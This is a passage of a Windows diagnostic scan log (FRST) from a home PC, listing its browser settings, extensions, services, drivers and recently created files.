      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL =
      HKLM\Software\Microsoft\Internet Explorer\Main,Local Page =
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Local Page =
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
      SearchScopes: HKU\S-1-5-21-976013588-1774182616-1790962854-1001 -> DefaultScope {95B7759C-8C7F-4BF1-B163-73684A933233} URL = hxxps://mysearch.avg.com/search?cid={6635F779-B341-4CBB-990E-8F4791163F39}&mid=bac4c002c20547cfa1cbfd9d0277bd5d-a68b7eea2a876e0ede82853fb0728bad9cd94760&lang=en&ds=AVG&coid=avgtbavg&cmpid=0516piz&pr=fr&d=2016-12-28 06:22:29&v=4.3.6.255&pid=wtu&sg=&sap=dsp&q={searchTerms}
      SearchScopes: HKU\S-1-5-21-976013588-1774182616-1790962854-1001 -> {95B7759C-8C7F-4BF1-B163-73684A933233} URL = hxxps://mysearch.avg.com/search?cid={6635F779-B341-4CBB-990E-8F4791163F39}&mid=bac4c002c20547cfa1cbfd9d0277bd5d-a68b7eea2a876e0ede82853fb0728bad9cd94760&lang=en&ds=AVG&coid=avgtbavg&cmpid=0516piz&pr=fr&d=2016-12-28 06:22:29&v=4.3.6.255&pid=wtu&sg=&sap=dsp&q={searchTerms}
      BHO: avast! Online Security -> {8E5E2654-AD2D-48bf-AC2D-D17F00898D06} -> C:\Program Files\AVAST Software\Avast\aswWebRepIE64.dll [2017-11-10] (AVAST Software)
      BHO: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office15\GROOVEEX.DLL [2016-07-12] (Microsoft Corporation)
      BHO-x32: avast! Online Security -> {8E5E2654-AD2D-48bf-AC2D-D17F00898D06} -> C:\Program Files\AVAST Software\Avast\aswWebRepIE.dll [2017-11-10] (AVAST Software)
      Handler: osf - {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office\Office15\MSOSB.DLL [2017-08-15] (Microsoft Corporation)
      FireFox:
      ========
      FF DefaultProfile: r1btu8zo.default
      FF ProfilePath: C:\Users\симо7\AppData\Roaming\Mozilla\Firefox\Profiles\r1btu8zo.default [2017-11-18]
      FF Homepage: Mozilla\Firefox\Profiles\r1btu8zo.default -> https://www.google.bg/?gws_rd=ssl
      FF Extension: (FEBE) - C:\Users\симо7\AppData\Roaming\Mozilla\Firefox\Profiles\r1btu8zo.default\Extensions\{4BBDD651-70CF-4821-84F8-2B918CF89CA3} [2017-11-14] [Lagacy]
      FF Extension: (Adblock Plus) - C:\Users\симо7\AppData\Roaming\Mozilla\Firefox\Profiles\r1btu8zo.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-11-14]
      FF HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\Firefox\Extensions: [acewebextension_unlisted@acestream.org] - C:\Users\симо7\AppData\Roaming\ACEStream\extensions\awe\firefox\acewebextension_unlisted.xpi => not found
      FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_27_0_0_130.dll [2017-09-18] ()
      FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
      FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-23] (Microsoft Corporation)
      FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_27_0_0_130.dll [2017-09-18] ()
      FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [No File]
      FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
      FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-21] (Microsoft Corporation)
      FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-10-27] (NVIDIA Corporation)
      FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-10-27] (NVIDIA Corporation)
      FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.7\npGoogleUpdate3.dll [2017-11-14] (Google Inc.)
      FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.7\npGoogleUpdate3.dll [2017-11-14] (Google Inc.)
      FF Plugin-x32: @videolan.org/vlc,version=2.2.4 -> C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll [2017-05-24] (VideoLAN)
      FF Plugin-x32: @videolan.org/vlc,version=2.2.6 -> C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll [2017-05-24] (VideoLAN)
      FF Plugin HKU\S-1-5-21-976013588-1774182616-1790962854-1001: @acestream.net/acestreamplugin,version=3.1.16 -> C:\Users\симо7\AppData\Roaming\ACEStream\player\npace_plugin.dll [2017-01-31] (Innovative Digital Technologies)
      FF Plugin HKU\S-1-5-21-976013588-1774182616-1790962854-1001: @acestream.net/acestreamplugin,version=3.1.2 -> C:\Users\симо7\AppData\Roaming\ACEStream\player\npace_plugin.dll [2017-01-31] (Innovative Digital Technologies)
      FF Plugin HKU\S-1-5-21-976013588-1774182616-1790962854-1001: @acestream.net/acestreamplugin,version=3.1.7 -> C:\Users\симо7\AppData\Roaming\ACEStream\player\npace_plugin.dll [2017-01-31] (Innovative Digital Technologies)
      Chrome:
      =======
      CHR DefaultProfile: Default
      CHR HomePage: Default -> mysearch.avg.com/?rvt=1
      CHR StartupUrls: Default -> "hxxp://www.google.bg/"
      CHR Profile: C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default [2017-11-18]
      CHR Extension: (Презентации) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2017-10-12]
      CHR Extension: (Документи) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-10-12]
      CHR Extension: (Google Диск) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-08-08]
      CHR Extension: (YouTube) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-08-08]
      CHR Extension: (Adblock Plus) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb [2017-09-26]
      CHR Extension: (Avast SafePrice) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\eofcbnmajmjmplflapaojjnihcjkigck [2017-10-17]
      CHR Extension: (Таблици) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2017-10-12]
      CHR Extension: (Google Документи офлайн) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-08-08]
      CHR Extension: (Плащания в уеб магазина на Chrome) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-08-22]
      CHR Extension: (Gmail) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-08-08]
      CHR Extension: (Chrome Media Router) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-11-15]
      CHR Extension: (Dealicious (Verified)) - C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Default\Extensions\pplphlbogdadpkmdhbjdebhfhjifbfka [2017-09-29]
      CHR Profile: C:\Users\симо7\AppData\Local\Google\Chrome\User Data\Guest Profile [2017-07-20]
      CHR Profile: C:\Users\симо7\AppData\Local\Google\Chrome\User Data\System Profile [2017-09-27]
      CHR HKU\S-1-5-21-976013588-1774182616-1790962854-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [chfdnecihphmhljaaejmgoiahnihplgn] - hxxps://clients2.google.com/service/update2/crx
      CHR HKU\S-1-5-21-976013588-1774182616-1790962854-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [mjbepbhonbojpoaenhckjocchgfiaofo] - hxxps://clients2.google.com/service/update2/crx
      CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck] - hxxps://clients2.google.com/service/update2/crx
      CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki] - hxxps://clients2.google.com/service/update2/crx
      ==================== Services (Whitelisted) ====================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      R3 aswbIDSAgent; C:\Program Files\AVAST Software\Avast\x64\aswidsagenta.exe [7549928 2017-11-10] (AVAST Software)
      R2 avast! Antivirus; C:\Program Files\AVAST Software\Avast\AvastSvc.exe [281416 2017-11-10] (AVAST Software)
      R2 avast! Firewall; C:\Program Files\AVAST Software\Avast\afwServ.exe [332368 2017-11-10] (AVAST Software)
      R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [6058960 2017-08-07] (Malwarebytes)
      R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [518264 2017-10-11] (NVIDIA Corporation)
      S3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [518264 2017-10-11] (NVIDIA Corporation)
      R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-10-27] (NVIDIA Corporation)
      R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [460920 2017-10-11] (NVIDIA Corporation)
      R2 Service KMSELDI; C:\Program Files\KMSpico\Service_KMS.exe [734400 2015-08-13] (@ByELDI) [File not signed]
      S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
      S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
      ===================== Drivers (Whitelisted) ======================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      R1 aswArPot; C:\Windows\System32\drivers\aswArPot.sys [183584 2017-11-10] (AVAST Software)
      R1 aswbidsdriver; C:\Windows\System32\drivers\aswbidsdrivera.sys [321032 2017-11-10] (AVAST Software s.r.o.)
      R0 aswbidsh; C:\Windows\System32\drivers\aswbidsha.sys [198968 2017-11-10] (AVAST Software s.r.o.)
      R0 aswblog; C:\Windows\System32\drivers\aswbloga.sys [343288 2017-11-10] (AVAST Software s.r.o.)
      R0 aswbuniv; C:\Windows\System32\drivers\aswbuniva.sys [57728 2017-11-10] (AVAST Software s.r.o.)
      S3 aswHwid; C:\Windows\System32\drivers\aswHwid.sys [47008 2017-11-10] (AVAST Software)
      R1 aswKbd; C:\Windows\system32\drivers\aswKbd.sys [41832 2017-09-01] (AVAST Software)
      R2 aswMonFlt; C:\Windows\System32\drivers\aswMonFlt.sys [148288 2017-11-10] (AVAST Software)
      R1 aswNetSec; C:\Windows\System32\drivers\aswNetSec.sys [570152 2017-11-10] (AVAST Software)
      R1 aswRdr; C:\Windows\System32\drivers\aswRdr2.sys [110376 2017-11-10] (AVAST Software)
      R0 aswRvrt; C:\Windows\System32\drivers\aswRvrt.sys [84416 2017-11-10] (AVAST Software)
      R1 aswSnx; C:\Windows\System32\drivers\aswSnx.sys [1026232 2017-11-10] (AVAST Software)
      R1 aswSP; C:\Windows\System32\drivers\aswSP.sys [455376 2017-11-15] (AVAST Software)
      R2 aswStm; C:\Windows\System32\drivers\aswStm.sys [203976 2017-11-10] (AVAST Software)
      S3 aswTap; C:\Windows\system32\DRIVERS\aswTap.sys [53904 2017-06-25] (The OpenVPN Project)
      R0 aswVmm; C:\Windows\System32\drivers\aswVmm.sys [364464 2017-11-10] (AVAST Software)
      S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
      R1 dtsoftbus01; C:\Windows\System32\drivers\dtsoftbus01.sys [283200 2016-08-11] (DT Soft Ltd)
      R3 FUJ02B1; C:\Windows\system32\DRIVERS\FUJ02B1.sys [59152 2016-05-11] (FUJITSU LIMITED)
      R0 MBAMSwissArmy; C:\Windows\System32\Drivers\mbamswissarmy.sys [252232 2017-11-17] (Malwarebytes)
      R3 NETwNe64; C:\Windows\system32\DRIVERS\NETwew00.sys [3345376 2013-09-04] (Intel Corporation)
      S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-10-11] (NVIDIA Corporation)
      R3 nvvad_WaveExtensible; C:\Windows\system32\drivers\nvvad64v.sys [50808 2017-10-27] (NVIDIA Corporation)
      R3 nvvhci; C:\Windows\System32\drivers\nvvhci.sys [57976 2017-10-27] (NVIDIA Corporation)
      S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
      S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
      S3 WdFilter; C:\Windows\system32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
      S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
      R2 {A14A8EF6-B11D-4356-9ECC-4B937E6CC626}; C:\Program Files (x86)\CyberLink\PowerDVD17\Common\NavFilter\000.fcl [38168 2017-02-17] (CyberLink Corp.)
      ==================== NetSvcs (Whitelisted) ===================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

      ==================== One Month Created files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-11-18 18:05 - 2017-11-18 18:06 - 000018415 _____ C:\Users\симо7\Desktop\FRST.txt
      2017-11-18 18:04 - 2017-11-18 18:05 - 000000000 ____D C:\FRST
      2017-11-18 18:03 - 2017-11-18 18:03 - 002392064 _____ (Farbar) C:\Users\симо7\Desktop\FRST64.exe
      2017-11-17 17:54 - 2017-11-17 17:54 - 000252232 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbamswissarmy.sys
      2017-11-17 17:41 - 2017-11-17 17:41 - 000001957 _____ C:\Users\симо7\Desktop\2017-11-17_17h40_17.png.lnk
      2017-11-17 17:38 - 2017-11-17 17:38 - 012701760 _____ (Learnpulse) C:\Users\симо7\Downloads\Screenpresso.exe
      2017-11-15 21:23 - 2017-11-15 21:23 - 000455376 _____ (AVAST Software) C:\Windows\system32\Drivers\aswSP.sys
      2017-11-15 18:16 - 2017-11-15 18:16 - 000014486 _____ C:\Users\симо7\Downloads\месец октомври аванс Пламена (1).xlsx
      2017-11-15 08:35 - 2017-11-15 08:35 - 000001082 _____ C:\Users\Public\Desktop\VLC media player.lnk
      2017-11-14 23:52 - 2017-11-14 23:52 - 000071871 _____ C:\Users\симо7\Downloads\blizoo_inv_49655974_01.11.2017.pdf
      2017-11-14 23:45 - 2017-11-14 23:45 - 000001165 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
      2017-11-14 23:45 - 2017-11-14 23:45 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
      2017-11-14 23:44 - 2017-11-14 23:45 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
      2017-11-14 23:44 - 2017-11-14 23:44 - 000000000 ____D C:\ProgramData\SWCUTemp
      2017-11-14 23:35 - 2017-11-14 23:35 - 036686848 _____ (Mozilla) C:\Users\симо7\Downloads\Firefox Setup 57.0.exe
      2017-11-14 21:29 - 2017-11-14 21:29 - 000311248 _____ (Mozilla) C:\Users\симо7\Downloads\Firefox Installer.exe
      2017-11-14 18:04 - 2017-11-14 18:04 - 000014473 _____ C:\Users\симо7\Downloads\месец октомври аванс Пламена.xlsx
      2017-11-14 14:27 - 2017-11-18 11:04 - 000000000 ____D C:\Users\симо7\AppData\LocalLow\uTorrent
      2017-11-11 11:27 - 2017-11-11 11:27 - 000000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Samsung Printers
      2017-11-11 11:27 - 2017-11-11 11:27 - 000000000 ____D C:\ProgramData\Samsung
      2017-11-11 11:27 - 2017-11-11 11:27 - 000000000 ____D C:\Program Files (x86)\Samsung
      2017-11-11 11:27 - 2015-09-14 07:09 - 002073600 ____N C:\Windows\SysWOW64\DlgSearchEngine.dll
      2017-11-11 11:27 - 2015-03-12 04:43 - 000089600 _____ (SS) C:\Windows\system32\ux003ci.dll
      2017-11-11 11:27 - 2015-03-12 04:43 - 000022528 _____ () C:\Windows\system32\ux003lm.dll
      2017-11-11 11:27 - 2015-02-04 06:41 - 000158016 _____ C:\Windows\system32\ux003ci.exe
      2017-11-11 11:26 - 2014-08-18 14:59 - 000011576 ____N (Samsung Electronics) C:\Windows\system32\Drivers\SSPORT.SYS
      2017-11-10 09:23 - 2017-11-10 09:23 - 000003914 _____ C:\Windows\System32\Tasks\Avast Emergency Update
      2017-11-10 09:23 - 2017-11-10 09:22 - 001026232 _____ (AVAST Software) C:\Windows\system32\Drivers\aswSnx.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000570152 _____ (AVAST Software) C:\Windows\system32\Drivers\aswNetSec.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000455384 _____ (AVAST Software) C:\Windows\system32\Drivers\aswSP.sys.151077381642101
      2017-11-10 09:23 - 2017-11-10 09:22 - 000365168 _____ (AVAST Software) C:\Windows\system32\aswBoot.exe
      2017-11-10 09:23 - 2017-11-10 09:22 - 000364464 _____ (AVAST Software) C:\Windows\system32\Drivers\aswVmm.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000343288 _____ (AVAST Software s.r.o.) C:\Windows\system32\Drivers\aswbloga.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000321032 _____ (AVAST Software s.r.o.) C:\Windows\system32\Drivers\aswbidsdrivera.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000203976 _____ (AVAST Software) C:\Windows\system32\Drivers\aswStm.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000198968 _____ (AVAST Software s.r.o.) C:\Windows\system32\Drivers\aswbidsha.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000183584 _____ (AVAST Software) C:\Windows\system32\Drivers\aswArPot.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000148288 _____ (AVAST Software) C:\Windows\system32\Drivers\aswMonFlt.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000110376 _____ (AVAST Software) C:\Windows\system32\Drivers\aswRdr2.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000084416 _____ (AVAST Software) C:\Windows\system32\Drivers\aswRvrt.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000057728 _____ (AVAST Software s.r.o.) C:\Windows\system32\Drivers\aswbuniva.sys
      2017-11-10 09:23 - 2017-11-10 09:22 - 000047008 _____ (AVAST Software) C:\Windows\system32\Drivers\aswHwid.sys
      2017-11-09 13:56 - 2017-11-09 13:56 - 000000000 ____D C:\ProgramData\Steam
      2017-11-09 12:58 - 2017-11-12 20:58 - 000000000 ____D C:\Program Files\Call of Duty WWII
      2017-11-09 12:58 - 2017-11-09 13:56 - 000000842 _____ C:\Users\Public\Desktop\Call of Duty WWII.lnk
      2017-11-08 18:20 - 2017-11-08 18:23 - 000008859 _____ C:\Users\симо7\Desktop\ГАЗ-РАЗХОД.xlsx
      2017-11-07 09:10 - 2017-11-07 09:10 - 000001650 _____ C:\Users\симо7\Desktop\ASC.exe.lnk
      2017-11-07 09:08 - 2017-11-18 17:49 - 000002812 _____ C:\Windows\System32\Tasks\ASC10_SkipUac_симо7
      2017-11-03 17:49 - 2017-11-03 17:49 - 000000000 ____D C:\Users\GLCache\1a410118ebdbd30f6e38de2279d395e9
      2017-11-03 17:49 - 2017-11-03 17:49 - 000000000 ____D C:\Users\GLCache
      2017-11-02 22:22 - 2010-06-02 04:55 - 000527192 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_7.dll
      2017-11-02 22:22 - 2010-06-02 04:55 - 000518488 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_7.dll
      2017-11-02 22:22 - 2010-06-02 04:55 - 000239960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_7.dll
      2017-11-02 22:22 - 2010-06-02 04:55 - 000176984 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_7.dll
      2017-11-02 22:22 - 2010-06-02 04:55 - 000077656 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_5.dll
      2017-11-02 22:22 - 2010-06-02 04:55 - 000074072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_5.dll
      2017-11-02 22:22 - 2010-05-26 11:41 - 002526056 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_43.dll
      2017-11-02 22:22 - 2010-05-26 11:41 - 001907552 _____ (Microsoft Corporation) C:\Windows\system32\d3dcsx_43.dll
      2017-11-02 22:22 - 2010-05-26 11:41 - 001868128 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dcsx_43.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000530776 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_6.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000528216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_6.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000238936 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_6.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000176984 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_6.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000078680 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_4.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000074072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_4.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000024920 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_7.dll
      2017-11-02 22:22 - 2010-02-04 10:01 - 000022360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_7.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000517960 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_5.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000515416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_5.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000238936 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_5.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000176968 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_5.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000073544 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_3.dll
      2017-11-02 22:22 - 2009-09-04 17:44 - 000069464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_3.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 005554512 _____ (Microsoft Corporation) C:\Windows\system32\d3dcsx_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 005501792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dcsx_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 002582888 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 002475352 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 001974616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 001892184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 000523088 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 000453456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 000285024 _____ (Microsoft Corporation) C:\Windows\system32\d3dx11_42.dll
      2017-11-02 22:22 - 2009-09-04 17:29 - 000235344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx11_42.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000521560 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_4.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000517448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_4.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000235352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_4.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000174936 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_4.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000024920 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_6.dll
      2017-11-02 22:22 - 2009-03-16 14:18 - 000022360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_6.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 005425496 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_41.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 004178264 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_41.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 002430312 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_41.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 001846632 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_41.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 000520544 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_41.dll
      2017-11-02 22:22 - 2009-03-09 15:27 - 000453456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_41.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000518480 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_3.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000514384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_3.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000235856 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_3.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000175440 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_3.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000074576 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_2.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000070992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_2.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000025936 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_5.dll
      2017-11-02 22:22 - 2008-10-27 10:04 - 000023376 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_5.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 005631312 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_40.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 004379984 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_40.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 002605920 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_40.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 002036576 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_40.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 000519000 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_40.dll
      2017-11-02 22:22 - 2008-10-10 04:52 - 000452440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_40.dll
      2017-11-02 22:22 - 2008-07-31 10:41 - 000238088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_2.dll
      2017-11-02 22:22 - 2008-07-31 10:41 - 000177672 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_2.dll
      2017-11-02 22:22 - 2008-07-31 10:41 - 000072200 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_1.dll
      2017-11-02 22:22 - 2008-07-31 10:41 - 000068616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_1.dll
      2017-11-02 22:22 - 2008-07-31 10:40 - 000513544 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_2.dll
      2017-11-02 22:22 - 2008-07-31 10:40 - 000509448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_2.dll
